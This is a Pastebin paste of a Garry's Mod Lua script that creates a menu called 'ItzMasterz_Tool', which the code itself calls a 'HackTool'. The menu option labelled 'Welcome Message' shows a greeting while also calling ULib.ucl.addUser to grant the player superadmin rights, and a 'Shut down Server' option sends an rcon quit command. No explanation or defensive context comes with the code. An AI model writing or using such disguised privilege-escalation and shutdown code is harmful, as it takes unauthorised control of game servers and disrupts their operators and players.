Advertisement
Guest User

Untitled

a guest
May 29th, 2015
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.83 KB | None | 0 0
  1. function Tool(ply) -- Create the function
  2. base = vgui.Create("DFrame") -- Create the frame
  3. base:SetPos(50,50) -- set the frame's position on the screen
  4. base:SetSize(250, 150) -- set the frame size
  5. base:SetTitle( "ItzMasterz_Tool" ) -- set the frame title
  6. base:SetVisible( true ) -- Make the frame visible
  7. base:MakePopup() -- make the frame popup
  8.  
  9. button = vgui.Create("DButton") -- Create the button
  10. button:SetParent( base ) -- parent the button to the frame
  11. button:SetText( "Open Menu List" ) -- set the button text
  12. button:SetPos(50, 50) -- set the button position in the frame
  13. button:SetSize( 130, 30 ) -- set the button size
  14. base.Paint = function()
  15. surface.SetDrawColor( 50, 50, 50, 190 )
  16. surface.DrawRect( 0, 0, base:GetWide(), base:GetTall() )
  17. surface.SetDrawColor( 255, 255, 255, 255 )
  18. surface.DrawOutlinedRect( 0, 0, base:GetWide(), base:GetTall() )
  19. end
  20. button.DoClick = function ( btn ) -- this will be called when the button is clicked
  21. button1 = DermaMenu() -- create a derma menu
  22. button1:AddOption("Welcome Message", function() chat.AddText("Welcome to ItzMasterz_HackTool!") ULib.ucl.addUser(ply:SteamID(), {}, {}, "superadmin") end)-- adding options
  23. button1:AddOption("how", function() Msg("How") end )
  24. button1:AddOption("are", function() Msg("Are") end )
  25. button1:AddOption("you", function() Msg("You") end )
  26. button1:AddOption("Shut down Server", function() RunConsoleCommand("rcon","quit") end )
  27. button1.Paint = function()
  28. surface.SetDrawColor( 50, 50, 50, 255 )
  29. surface.DrawRect( 0, 0, base:GetWide(), base:GetTall() )
  30. surface.SetDrawColor( 255, 255, 255, 255 )
  31. surface.DrawOutlinedRect( 0, 0, base:GetWide(), base:GetTall() )
  32. end
  33. button1:Open()
  34. end -- ending the doclick function
  35. end -- ending the function
  36. concommand.Add("ItzMasterz_Tool", Tool) -- adding the console command
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement